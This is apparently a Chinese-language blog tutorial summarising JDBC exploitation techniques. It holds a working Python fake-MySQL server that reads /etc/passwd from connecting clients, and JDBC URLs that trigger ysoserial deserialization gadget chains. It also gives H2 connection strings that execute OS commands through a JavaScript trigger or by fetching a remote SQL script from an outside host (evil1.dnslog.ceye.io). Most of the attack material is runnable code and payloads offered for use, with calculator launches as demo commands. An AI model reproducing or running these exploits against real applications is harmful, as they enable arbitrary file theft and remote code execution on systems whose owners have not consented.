JDBC漏洞利用总结

写点关于jdbc漏洞的利用方法

环境搭建

maven依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.11</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>1.4.199</version>
</dependency>

java代码

package poc;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class TestJDBC {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.cj.jdbc.Driver");
        String url = "jdbc:mysql://127.0.0.1:13306/demo";
        Connection conn = DriverManager.getConnection(url);
    }
}

JDBC任意文件下载

参考伪造mysql服务实现任意文件下载漏洞

搭建一个mysql伪服务器

# coding=utf-8
# python2
import socket
import logging
logging.basicConfig(level=logging.DEBUG)


def main():
    filename = "/etc/passwd"
    sv = socket.socket()
    sv.bind(("", 13306))
    sv.listen(5)
    conn, address = sv.accept()
    logging.info('Conn from: %r', address)
    conn.sendall(
        "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)
    logging.info("auth okay")
    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)
    logging.info("want file...")
    want_file = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(want_file)
    content = conn.recv(9999)
    logging.info(content)
    conn.close()


if __name__ == '__main__':
    main()

运行

python2 my_mysql.py

运行poc

package poc;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class TestJDBC {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.cj.jdbc.Driver");
        String url = "jdbc:mysql://localhost:13306/mysql?useSSL=false&allowLoadLocalInfile=true&maxAllowedPacket=65535";
        Connection conn = DriverManager.getConnection(url);
    }
}

结果

这里推荐一个好用的JDBC工具MySQL_Fake_Server，集合了文件下载和发序列化漏洞

JDBC反序列化漏洞

这里使用MySQL_Fake_Server工具
先在config.json中配置ysoserialPath属性

{
    "config":{
        "ysoserialPath":"/Users/ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk7u21":["CommonsCollections6","open /System/Applications/Calculator.app"]
    }
}

运行MySQL_Fake_Server

python3 sever.py

验证

package poc;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class TestJDBC {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.cj.jdbc.Driver");
        String url = "";
        url = "jdbc:mysql://localhost:3306/mysql?characterEncoding=utf8&useSSL=false&maxAllowedPacket=65535&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" +
                "&user=yso_URLDNS_http://yourdns.dnslog.io/";
        url = "jdbc:mysql://localhost:3306/mysql?characterEncoding=utf8&useSSL=false&maxAllowedPacket=65535&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" +
                "&user=yso_CommonsCollections6_open /System/Applications/Calculator.app";
        Connection conn = DriverManager.getConnection(url);
    }
}

JDBC命令执行

以前写过一篇关于h2的文章
通过H2 数据库get shell

总结一下两位大佬@Litch1 和 @pyn3rd 的《Make JDBC Attack Brilliant Again》中通过h2数据库进行命令执行的方法

poc如下：

package poc;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;


public class TestJDBC {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.cj.jdbc.Driver");
        String url = "";
        
        url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                "java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app')\n" +
                "$$\n";
        url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://evil1.dnslog.ceye.io/h2.sql'";

        Connection conn = DriverManager.getConnection(url);
    }
}